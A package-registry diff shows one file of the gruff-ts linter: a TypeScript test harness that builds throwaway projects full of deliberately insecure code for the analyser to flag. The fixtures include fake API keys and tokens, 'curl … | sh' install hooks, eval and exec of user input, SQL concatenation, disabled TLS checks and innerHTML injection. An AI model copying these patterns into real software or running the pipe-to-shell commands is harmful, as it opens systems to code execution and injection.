@blundergoat/gruff-ts 0.1.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (54) hide show
  1. package/CHANGELOG.md +16 -0
  2. package/CONTRIBUTING.md +87 -0
  3. package/LICENSE +21 -0
  4. package/README.md +303 -0
  5. package/SECURITY.md +45 -0
  6. package/bin/gruff-ts +25 -0
  7. package/docs/CONFIGURATION.md +220 -0
  8. package/docs/RELEASING.md +103 -0
  9. package/docs/REPORTS_AND_CI.md +156 -0
  10. package/fixtures/sample.ts +21 -0
  11. package/package.json +56 -0
  12. package/scripts/bump-version.sh +145 -0
  13. package/scripts/check.sh +4 -0
  14. package/scripts/npm-publish.sh +258 -0
  15. package/scripts/preflight-checks.sh +357 -0
  16. package/scripts/start-dev.sh +8 -0
  17. package/scripts/test-performance.sh +695 -0
  18. package/src/analyser.ts +461 -0
  19. package/src/baseline.ts +90 -0
  20. package/src/blocks.ts +687 -0
  21. package/src/class-rules.ts +326 -0
  22. package/src/cli-program.ts +326 -0
  23. package/src/cli.ts +19 -0
  24. package/src/comment-rules.ts +605 -0
  25. package/src/comment-scanner.ts +357 -0
  26. package/src/config.ts +622 -0
  27. package/src/constants.ts +4 -0
  28. package/src/context-doc-rules.ts +241 -0
  29. package/src/dashboard.ts +114 -0
  30. package/src/dead-code-rules.ts +183 -0
  31. package/src/discovery.ts +508 -0
  32. package/src/doc-rules.ts +368 -0
  33. package/src/findings-helpers.ts +108 -0
  34. package/src/findings.ts +45 -0
  35. package/src/fixture-purpose-rules.ts +334 -0
  36. package/src/fixtures/rule-catalogue-security-doctrine.ts +132 -0
  37. package/src/github-actions-rules.ts +413 -0
  38. package/src/line-rules.ts +538 -0
  39. package/src/naming-pushers.ts +191 -0
  40. package/src/project-config-rules.ts +555 -0
  41. package/src/project-rules.ts +545 -0
  42. package/src/report-renderers.ts +691 -0
  43. package/src/rule-list.ts +179 -0
  44. package/src/rules.ts +135 -0
  45. package/src/safety-rules.ts +355 -0
  46. package/src/scoring.ts +74 -0
  47. package/src/security-flow-rules.ts +112 -0
  48. package/src/sensitive-data-rules.ts +288 -0
  49. package/src/source-text.ts +722 -0
  50. package/src/test-block-rules.ts +347 -0
  51. package/src/test-fixtures.ts +621 -0
  52. package/src/text-scans.ts +193 -0
  53. package/src/types.ts +113 -0
  54. package/tsconfig.json +15 -0
@@ -0,0 +1,621 @@
1
+ // Shared test harness utilities and synthetic secret/source fixtures for isolated project analyses.
2
+ import assert from "node:assert/strict";
3
+ import { execFileSync, spawn } from "node:child_process";
4
+ import { chmodSync, mkdirSync, mkdtempSync, rmSync, writeFileSync } from "node:fs";
5
+ import { createServer as createNetServer } from "node:net";
6
+ import { tmpdir } from "node:os";
7
+ import { dirname, join } from "node:path";
8
+ import { chdir, cwd } from "node:process";
9
+ import { analyse } from "./cli.ts";
10
+ import type { AnalysisReport } from "./cli.ts";
11
+
12
+ export const REPO_ROOT = cwd();
13
+ export const HIGH_ENTROPY_FIXTURE_VALUE = ["Zx7pQ9vLm3N8sT2r", "Y6wK1dF4gH5jC0bR2"].join("");
14
+ export const API_TOKEN_FIXTURE_VALUE = ["rN7pQ4sV9xY2zA5b", "C8dG9hK2mN5pQ8sR1"].join("");
15
+ export const DATABASE_URL_FIXTURE_VALUE = ["postgres://app:superSecret", "Password@db.internal/app"].join("");
16
+ export const OPENAI_KEY_FIXTURE_VALUE = ["sk-proj-AbCdEfGhIjKl", "MnOpQrStUvWxYz1234567890"].join("");
17
+ export const GOOGLE_API_KEY_FIXTURE_VALUE = ["AIzaSyD3moKeyValue", "1234567890AbCdEf"].join("");
18
+ export const SLACK_WEBHOOK_FIXTURE_VALUE = ["https://hooks.slack.com/services/T00000000", "B00000000", "abcdefghijklmnopqrstuvwx"].join("/");
19
+ export const DISCORD_WEBHOOK_FIXTURE_VALUE = [
20
+ "https://discord.com/api/webhooks/123456789012345678",
21
+ ["abcdefghijklmnopqrstuvwxyz", "ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"].join(""),
22
+ ].join("/");
23
+ export const NPM_AUTH_TOKEN_FIXTURE_VALUE = ["npmAuthToken", "AbCdEfGhIjKlMnOp", "QrStUvWxYz123456"].join("");
24
+ export const SSN_FIXTURE_VALUE = ["123", "45", "6789"].join("-");
25
+ export const AWS_ACCESS_KEY_FIXTURE_VALUE = ["AKIAABCDEFGH", "IJKLMNOP"].join("");
26
+ export const PRIVATE_KEY_HEADER_FIXTURE_VALUE = ["-----BEGIN ", "PRIVATE KEY-----"].join("");
27
+ export const POSTGRES_URL_FIXTURE_VALUE = ["postgres://user:sec", "ret@example.test/db"].join("");
28
+ export const JWT_FIXTURE_VALUE = ["eyJhbGciOiJIUzI1NiJ9", "eyJzdWIiOiIxMjMifQ", "signature"].join(".");
29
+ export const TS_IGNORE_DIRECTIVE = ["@ts", "-ignore"].join("");
30
+ export const COMMENTED_OUT_SECRET_LOAD = ["const", " legacyPassword = loadSecret();"].join("");
31
+ export const COMMENTED_OUT_CACHE_LOAD = ["const", " disabledCache = loadCache();"].join("");
32
+ export const COMMENTED_OUT_LEGACY_CALL = ["const", " disabledLegacy = runLegacyPath();"].join("");
33
+
34
+ // Configures temporary project scans used by tests.
35
+ export interface AnalyseProjectOptions {
36
+ config?: Record<string, unknown>;
37
+ configPath?: string;
38
+ executableFiles?: string[];
39
+ shouldIncludeIgnored?: boolean;
40
+ shouldSkipConfig?: boolean;
41
+ paths?: string[];
42
+ }
43
+
44
+ // Adds a fixture filename override for single-source test scans.
45
+ export interface AnalyseFixtureOptions extends AnalyseProjectOptions {
46
+ fileName?: string;
47
+ }
48
+
49
+ // Runs one source string through the temporary-project analysis helper.
50
+ export function analyseFixture(source: string, options: AnalyseFixtureOptions = {}) {
51
+ return analyseProject(
52
+ { [options.fileName ?? "bad.ts"]: source },
53
+ {
54
+ ...(options.config ? { config: options.config } : {}),
55
+ ...(typeof options.configPath === "string" ? { configPath: options.configPath } : {}),
56
+ ...(typeof options.shouldSkipConfig === "boolean" ? { shouldSkipConfig: options.shouldSkipConfig } : {}),
57
+ },
58
+ );
59
+ }
60
+
61
+ // Creates a temporary project, runs analysis inside it, and removes the fixture tree. Performs the required filesystem or process side effect.
62
+ export function analyseProject(files: Record<string, string>, options: AnalyseProjectOptions = {}) {
63
+ const dir = mkdtempSync(join(tmpdir(), "gruff-ts-"));
64
+ const previous = cwd();
65
+ try {
66
+ setupAnalyseProjectDirectory(dir, files, options);
67
+ chdir(dir);
68
+ return analyseProjectInCurrentDirectory(options);
69
+ } finally {
70
+ chdir(previous);
71
+ rmSync(dir, { recursive: true, force: true });
72
+ }
73
+ }
74
+
75
+ /**
76
+ * Writes fixture files, executability bits, and optional config for project tests.
77
+ * @param dir Temporary project root to populate.
78
+ * @param files Project-relative file paths and source text to write.
79
+ * @param options Fixture config, executability, and path options.
80
+ */
81
+ export function setupAnalyseProjectDirectory(dir: string, files: Record<string, string>, options: AnalyseProjectOptions): void {
82
+ writeFixtureFiles(dir, files);
83
+ for (const fileName of options.executableFiles ?? []) {
84
+ chmodSync(join(dir, fileName), 0o755);
85
+ }
86
+ if (options.config) {
87
+ writeFileSync(join(dir, ".gruff-ts.yaml"), yamlConfigFixture(options.config));
88
+ }
89
+ }
90
+
91
+ /**
92
+ * Runs analyse after the fixture helper has switched into the temp project root, returning a stable report.
93
+ * @param options Normalized fixture scan options.
94
+ * @returns The analysis report produced from the current temporary project.
95
+ */
96
+ export function analyseProjectInCurrentDirectory(options: AnalyseProjectOptions): AnalysisReport {
97
+ return analyse({
98
+ paths: options.paths ?? ["."],
99
+ ...(typeof options.configPath === "string" ? { config: options.configPath } : {}),
100
+ shouldSkipConfig: options.shouldSkipConfig ?? !(options.config || options.configPath),
101
+ format: "json",
102
+ failOn: "none",
103
+ shouldIncludeIgnored: options.shouldIncludeIgnored ?? false,
104
+ shouldSkipBaseline: true,
105
+ });
106
+ }
107
+
108
+ // Serializes a test YAML config object from the root indentation level.
109
+ export function yamlConfigFixture(configObject: Record<string, unknown>): string {
110
+ return yamlConfigObject(configObject, 0);
111
+ }
112
+
113
+ // Serializes nested config objects using the fixture YAML subset.
114
+ export function yamlConfigObject(configObject: Record<string, unknown>, indent: number): string {
115
+ return Object.entries(configObject)
116
+ .map(([key, nested]) => yamlConfigEntry(key, nested, indent))
117
+ .join("");
118
+ }
119
+
120
+ // Serializes one YAML key with either nested indentation or a scalar value.
121
+ export function yamlConfigEntry(key: string, nestedValue: unknown, indent: number): string {
122
+ const prefix = " ".repeat(indent);
123
+ if (isYamlConfigObject(nestedValue)) {
124
+ return prefix + key + ":\n" + yamlConfigObject(nestedValue, indent + 2);
125
+ }
126
+ return prefix + key + ": " + yamlConfigScalar(nestedValue) + "\n";
127
+ }
128
+
129
+ // Converts fixture config scalar values into the YAML text used by tests.
130
+ export function yamlConfigScalar(scalarValue: unknown): string {
131
+ if (Array.isArray(scalarValue)) {
132
+ return `[${scalarValue.map(yamlConfigScalar).join(", ")}]`;
133
+ }
134
+ if (typeof scalarValue === "string") {
135
+ return JSON.stringify(scalarValue);
136
+ }
137
+ if (typeof scalarValue === "number" || typeof scalarValue === "boolean") {
138
+ return String(scalarValue);
139
+ }
140
+ return "{}";
141
+ }
142
+
143
+ // Narrows YAML fixture values to plain objects before recursive serialization.
144
+ export function isYamlConfigObject(configValue: unknown): configValue is Record<string, unknown> {
145
+ return typeof configValue === "object" && configValue !== null && !Array.isArray(configValue);
146
+ }
147
+
148
+ // Writes temporary fixture files and creates their parent directories.
149
+ export function writeFixtureFiles(dir: string, files: Record<string, string>): void {
150
+ for (const [fileName, source] of Object.entries(files)) {
151
+ const path = join(dir, fileName);
152
+ mkdirSync(dirname(path), { recursive: true });
153
+ writeFileSync(path, source);
154
+ }
155
+ }
156
+
157
+ // Builds enough simple declarations to cross the fixture-purpose line threshold.
158
+ export function largeFixtureSourceLines(prefix: string): string[] {
159
+ return Array.from({ length: 13 }, (_, index) => "const " + prefix + index + " = " + index + ";");
160
+ }
161
+
162
+ // Collects eval finding files so security assertions stay tied to stable analyzer output.
163
+ export function evalFindingFiles(report: AnalysisReport): Set<string> {
164
+ return new Set(report.findings.filter((finding) => finding.ruleId === "security.eval-call").map((finding) => finding.filePath));
165
+ }
166
+
167
+ // Reads `git --version`; fallback false keeps gitignore parity tests optional.
168
+ export function gitAvailable(): boolean {
169
+ try {
170
+ execFileSync("git", ["--version"], { stdio: "ignore" });
171
+ return true;
172
+ } catch {
173
+ return false;
174
+ }
175
+ }
176
+
177
+ // Reads `git check-ignore` and throws only for unexpected git failures.
178
+ export function isGitIgnoredByGit(projectRoot: string, path: string): boolean {
179
+ try {
180
+ execFileSync("git", ["check-ignore", "--quiet", path], { cwd: projectRoot });
181
+ return true;
182
+ } catch (error) {
183
+ const status = typeof error === "object" && error !== null && "status" in error ? (error as { status?: unknown }).status : undefined;
184
+ if (status === 1) {
185
+ return false;
186
+ }
187
+ throw error;
188
+ }
189
+ }
190
+
191
+ // Starts a dashboard server for one test and always closes it afterward.
192
+ export async function withDashboard(projectRoot: string, run: (endpoint: string) => Promise<void>): Promise<void> {
193
+ const port = await freePort();
194
+ const child = spawn("./bin/gruff-ts", ["dashboard", "--host", "127.0.0.1", "--port", String(port), "--project-root", projectRoot], {
195
+ cwd: REPO_ROOT,
196
+ stdio: ["ignore", "pipe", "pipe"],
197
+ });
198
+ let output = "";
199
+ child.stdout.setEncoding("utf8");
200
+ child.stderr.setEncoding("utf8");
201
+ child.stdout.on("data", (chunk: string) => {
202
+ output += chunk;
203
+ });
204
+ child.stderr.on("data", (chunk: string) => {
205
+ output += chunk;
206
+ });
207
+ const baseEndpoint = `http://127.0.0.1:${port}`;
208
+ try {
209
+ await waitForEndpoint(`${baseEndpoint}/health`, output);
210
+ await run(baseEndpoint);
211
+ } finally {
212
+ child.kill();
213
+ await new Promise<void>((resolve) => {
214
+ if (child.exitCode !== null || child.signalCode !== null) {
215
+ resolve();
216
+ return;
217
+ }
218
+ child.once("exit", () => resolve());
219
+ setTimeout(resolve, 1000);
220
+ });
221
+ }
222
+ }
223
+
224
+ // Asks the OS for an unused loopback port for dashboard tests. Starts loopback server state for the dashboard.
225
+ export async function freePort(): Promise<number> {
226
+ return new Promise((resolve, reject) => {
227
+ const server = createNetServer();
228
+ server.once("error", reject);
229
+ server.listen(0, "127.0.0.1", () => {
230
+ const address = server.address();
231
+ if (typeof address !== "object" || address === null) {
232
+ server.close();
233
+ reject(new Error("unable to allocate dashboard test port"));
234
+ return;
235
+ }
236
+ const { port } = address;
237
+ server.close(() => resolve(port));
238
+ });
239
+ });
240
+ }
241
+
242
+ // Polls a dashboard endpoint until it responds or reports the captured server output.
243
+ export async function waitForEndpoint(endpoint: string, output: string): Promise<void> {
244
+ const deadline = Date.now() + 5000;
245
+ const processOutput = output;
246
+ let lastError: unknown;
247
+ while (Date.now() < deadline) {
248
+ try {
249
+ const response = await fetch(endpoint);
250
+ if (response.ok) {
251
+ return;
252
+ }
253
+ lastError = new Error(`HTTP ${response.status}`);
254
+ } catch (error) {
255
+ lastError = error;
256
+ }
257
+ await new Promise((resolve) => setTimeout(resolve, 50));
258
+ }
259
+ throw new Error(`timed out waiting for ${endpoint}: ${String(lastError)}\n${processOutput}`);
260
+ }
261
+
262
+ // Fetches response text and fails the test with status details on non-OK responses.
263
+ export async function fetchText(endpoint: string): Promise<string> {
264
+ const response = await fetch(endpoint);
265
+ const text = await response.text();
266
+ assert.equal(response.ok, true, `${endpoint} returned ${response.status}: ${text}`);
267
+ return text;
268
+ }
269
+
270
+ // Writes a broad temporary catalogue fixture because one scan must cover many rule families.
271
+ export function ruleCatalogueCoverageRuleIds(): Set<string> {
272
+ const report = analyseProject(catalogueCoverageFiles(), catalogueCoverageOptions());
273
+ return new Set(report.findings.map((finding) => finding.ruleId));
274
+ }
275
+
276
+ // Assembles the broad catalogue fixture without making the public helper long.
277
+ function catalogueCoverageFiles(): Record<string, string> {
278
+ return {
279
+ "src/catalogue.ts": catalogueRuntimeCoverageSource(),
280
+ "src/dep.ts": `export const usedThing = "used";
281
+ `,
282
+ "src/catalogue.test.ts": catalogueTestCoverageSource(),
283
+ "src/app/feature/controller.ts": `import { sharedHelper } from "../../../shared/helper";
284
+
285
+ // Exercises a deep relative import from a controller fixture.
286
+ export function renderController(): string {
287
+ return sharedHelper();
288
+ }
289
+ `,
290
+ "src/cycle/a.ts": `import { fromB } from "./b";
291
+
292
+ // Creates one side of the circular-import fixture.
293
+ export function fromA(): string {
294
+ return fromB();
295
+ }
296
+ `,
297
+ "src/cycle/b.ts": `import { fromA } from "./a";
298
+
299
+ // Creates the other side of the circular-import fixture.
300
+ export function fromB(): string {
301
+ return fromA();
302
+ }
303
+ `,
304
+ "src/shared/helper.ts": `export function sharedHelper(): string {
305
+ return "shared";
306
+ }
307
+ `,
308
+ "src/untested.ts": `export function untestedValue(): string {
309
+ return "untested";
310
+ }
311
+ `,
312
+ ".env": `AWS_ACCESS_KEY_ID=${AWS_ACCESS_KEY_FIXTURE_VALUE}
313
+ PRIVATE_KEY=${PRIVATE_KEY_HEADER_FIXTURE_VALUE}
314
+ DATABASE_URL=${POSTGRES_URL_FIXTURE_VALUE}
315
+ JWT_TOKEN=${JWT_FIXTURE_VALUE}
316
+ OPENAI_API_KEY=${OPENAI_KEY_FIXTURE_VALUE}
317
+ PATIENT_SSN=${SSN_FIXTURE_VALUE}
318
+ API_TOKEN=${API_TOKEN_FIXTURE_VALUE}
319
+ `,
320
+ "package.json": JSON.stringify({
321
+ scripts: {
322
+ postinstall: "node scripts/setup.js",
323
+ prepare: "curl https://example.test/install.sh | sh",
324
+ },
325
+ bin: {
326
+ "missing-cli": "./bin/missing.js",
327
+ "bad-cli": "./bin/bad.js",
328
+ },
329
+ dependencies: {
330
+ "wide-open": "*",
331
+ "remote-tool": "git+https://github.com/example/remote-tool.git",
332
+ },
333
+ }),
334
+ ".github/workflows/risky.yml": githubActionsCoverageWorkflowSource(),
335
+ "bin/bad.js": "#!/usr/bin/env node\nconsole.log('ok');\n",
336
+ "styles/component.css": ".one { color: red; }\n.two { color: blue; }\n.three { color: green; }\n.four { color: yellow; }\n",
337
+ "tsconfig.json": JSON.stringify({
338
+ compilerOptions: {
339
+ strict: false,
340
+ noUncheckedIndexedAccess: false,
341
+ exactOptionalPropertyTypes: false,
342
+ },
343
+ }),
344
+ };
345
+ }
346
+
347
+ // Covers workflow-security descriptors in the broad catalogue fixture.
348
+ function githubActionsCoverageWorkflowSource(): string {
349
+ return `on:
350
+ pull_request_target:
351
+ permissions: write-all
352
+ jobs:
353
+ risky:
354
+ runs-on: ubuntu-latest
355
+ steps:
356
+ - uses: actions/checkout@v4
357
+ - uses: vendor/deploy-action@v1
358
+ - run: curl -fsSL https://example.test/install.sh | bash
359
+ - run: echo "\${{ secrets.DEPLOY_TOKEN }}"
360
+ `;
361
+ }
362
+
363
+ // Provides the source file that exercises runtime, naming, docs, security, and waste rules.
364
+ function catalogueRuntimeCoverageSource(): string {
365
+ return `import { createHash } from "node:crypto";
366
+ import { exec, spawn } from "node:child_process";
367
+ import { readFileSync } from "node:fs";
368
+ import { unusedThing } from "./dep";
369
+
370
+ // TODO: collapse this coverage fixture when generated rule docs exist.
371
+ // See \`src/missing-catalogue.ts\` before updating catalogue fixtures.
372
+ // prettier-ignore
373
+ // ${COMMENTED_OUT_LEGACY_CALL}
374
+ const data1 = "placeholder";
375
+ const strName = "Ada";
376
+ const active = true;
377
+ const xx = 1;
378
+ const ctx = { request: 1 };
379
+ const disableCache = true;
380
+ const URL_PATH = "/health";
381
+ const urlPath = "/healthz";
382
+ const unsafeAny: any = {};
383
+ const embeddedToken = "${HIGH_ENTROPY_FIXTURE_VALUE}";
384
+ const maxRetryLimit = 12;
385
+ const maybeUser = { name: strName };
386
+ const optionalName = maybeUser && maybeUser.name;
387
+ const fallbackName = maybeUser.name || "anonymous";
388
+ var legacyName = fallbackName;
389
+
390
+ export function expandHelpers(data: unknown, options: unknown, target: unknown): unknown {
391
+ return [data, options, target];
392
+ }
393
+
394
+ interface MissingCommentShape {
395
+ name: string;
396
+ }
397
+
398
+ /** Carries payload details. */
399
+ interface ReportPayload {
400
+ schemaVersion: string;
401
+ fingerprint: string;
402
+ }
403
+
404
+ export type PublicAny = any;
405
+
406
+ export class WrongName {
407
+ public status = "ready";
408
+ private count: number;
409
+
410
+ public constructor() {
411
+ this.count = xx;
412
+ }
413
+
414
+ private hidden(): void {
415
+ console.log(this.count);
416
+ }
417
+ }
418
+
419
+ /** Handles process input. */
420
+ export function process(flag: boolean, userInput: string, userId: string, userIds: string[], unusedFlag: boolean, req: any, res: any): string {
421
+ eval(userInput);
422
+ new Function(userInput)();
423
+ setTimeout("alert(1)", 10);
424
+ window.setInterval("alert(1)", 10);
425
+ exec(userInput);
426
+ spawn(userInput, []);
427
+ readFileSync(req.query.file, "utf8");
428
+ fetch(req.body.url);
429
+ res.redirect(req.query.next);
430
+ new RegExp(process.argv[2]);
431
+ Math.random();
432
+ document.write(userInput);
433
+ element.innerHTML = userInput;
434
+ element.dangerouslySetInnerHTML = { __html: userInput };
435
+ element.__proto__ = {};
436
+ createHash("md5").update(userInput);
437
+ process.env.NODE_TLS_REJECT_UNAUTHORIZED = "0";
438
+ const insecureAgent = { rejectUnauthorized: false, minVersion: "TLSv1" };
439
+ location.href = "javascript:alert(1)";
440
+ db.query("SELECT * FROM users WHERE id = " + userId);
441
+ const timestamp = new Date().getTime();
442
+ const copy = Object.assign({}, { userId });
443
+ if (!!userId) {
444
+ observe(copy);
445
+ }
446
+ if (userId == "legacy") {
447
+ observe(timestamp);
448
+ }
449
+ userIds.forEach(async (id) => {
450
+ await sendEmailAsync(id);
451
+ });
452
+ sendEmailAsync(userIds[0]);
453
+ try {
454
+ riskyWork();
455
+ } catch (error) {
456
+ throw error;
457
+ }
458
+ try {
459
+ riskyWork();
460
+ } catch (error) {
461
+ // ignored
462
+ }
463
+ if (flag) {
464
+ if (userId) {
465
+ return optionalName;
466
+ }
467
+ } else if (legacyName) {
468
+ return legacyName;
469
+ }
470
+ if (userId === "a") {
471
+ return "a";
472
+ }
473
+ if (userId === "b") {
474
+ return "b";
475
+ }
476
+ if (userId === "c") {
477
+ return "c";
478
+ }
479
+ if (userId === "d") {
480
+ return "d";
481
+ }
482
+ if (userId === "e") {
483
+ return "e";
484
+ }
485
+ if (userId === "f") {
486
+ return "f";
487
+ }
488
+ if (userId === "g") {
489
+ return "g";
490
+ }
491
+ if (userId === "h") {
492
+ return "h";
493
+ }
494
+ if (userId === "i") {
495
+ return "i";
496
+ }
497
+ void insecureAgent;
498
+ throw "dynamic failure";
499
+ console.log(unsafeAny);
500
+ }
501
+
502
+ function finish(): void {
503
+ doWork();
504
+ return;
505
+ }
506
+
507
+ function emptyWork(): void {}
508
+
509
+ function redundantResult(): string {
510
+ const calculated = fallbackName;
511
+ return calculated;
512
+ }
513
+
514
+ /**
515
+ * score amount
516
+ * @param stale Removed parameter.
517
+ */
518
+ export function scoreAmount(amount: number): number {
519
+ return amount + redundantResult().length;
520
+ }
521
+
522
+ export function unsafePublicApi(input: any): any {
523
+ // ${TS_IGNORE_DIRECTIVE}
524
+ const user = input as unknown as { name?: string };
525
+ return user!.name;
526
+ }
527
+ `;
528
+ }
529
+
530
+ // Provides generated test source, including deliberate environment mutation coverage.
531
+ function catalogueTestCoverageSource(): string {
532
+ return `import assert from "node:assert/strict";
533
+
534
+ const fixturePurposeReport = analyseFixture(${"`"}
535
+ ${largeFixtureSourceLines("catalogueFixtureValue").join("\n")}
536
+ ${"`"});
537
+ void fixturePurposeReport;
538
+
539
+ // Provides a named fixture callable used by render-related rule coverage.
540
+ function renderCatalogue(): string {
541
+ return "catalogue";
542
+ }
543
+
544
+ ${"test"}("no assertion", () => {
545
+ const catalogueOutput = renderCatalogue();
546
+ });
547
+
548
+ ${"test"}("trivial assertion", () => {
549
+ assert.equal(1, 1);
550
+ });
551
+
552
+ ${"test"}("snapshot only", () => {
553
+ expect(renderCatalogue()).toMatchSnapshot();
554
+ });
555
+
556
+ ${"test"}("no throw only", () => {
557
+ assert.doesNotThrow(() => renderCatalogue());
558
+ });
559
+
560
+ ${"test"}("magic assertion", () => {
561
+ const total = 7;
562
+ expect(total).toBe(42);
563
+ });
564
+
565
+ ${"test"}("unused mock", () => {
566
+ const unusedMock = jest.fn();
567
+ assert.ok(true);
568
+ });
569
+
570
+ ${"test"}("mock only", () => {
571
+ const serviceMock = vi.fn();
572
+ serviceMock();
573
+ expect(serviceMock).toHaveBeenCalled();
574
+ });
575
+
576
+ ${"test"}("exception type only", () => {
577
+ expect(() => fail()).toThrow(Error);
578
+ });
579
+
580
+ ${"test"}("global mutation", () => {
581
+ process.env.NODE_ENV = "test";
582
+ assert.equal(process.env.NODE_ENV, "test");
583
+ });
584
+
585
+ ${"test"}("setup bloat and control flow", () => {
586
+ const one = buildOne();
587
+ const two = buildTwo();
588
+ const three = buildThree();
589
+ if (one) {
590
+ for (const setupEntry of [one, two, three]) {
591
+ sleep(setupEntry);
592
+ assert.ok(setupEntry);
593
+ }
594
+ }
595
+ setTimeout(() => undefined, 1);
596
+ ${"test"}.only("nested focus marker", () => undefined);
597
+ assert.equal(one, one);
598
+ });
599
+ `;
600
+ }
601
+
602
+ // Keeps catalogue coverage thresholds local to the synthetic fixture scan.
603
+ function catalogueCoverageOptions(): AnalyseProjectOptions {
604
+ return {
605
+ config: {
606
+ rules: {
607
+ "complexity.cognitive": { threshold: 3, severity: "warning" },
608
+ "complexity.cyclomatic": { threshold: 2, severity: "warning" },
609
+ "complexity.npath": { threshold: 2, severity: "warning" },
610
+ "design.large-module-concentration": { threshold: 35, severity: "advisory", options: { minFiles: 4, minLines: 8 } },
611
+ "docs.todo-density": { enabled: true, threshold: 1, severity: "advisory" },
612
+ "naming.abbreviation": { enabled: true },
613
+ "size.file-length": { threshold: 8, severity: "warning" },
614
+ "size.function-length": { threshold: 8, severity: "warning" },
615
+ "size.parameter-count": { threshold: 3, severity: "warning" },
616
+ "size.stylesheet-length": { threshold: 3, severity: "warning" },
617
+ "test-quality.setup-bloat": { threshold: 2, severity: "advisory" },
618
+ },
619
+ },
620
+ };
621
+ }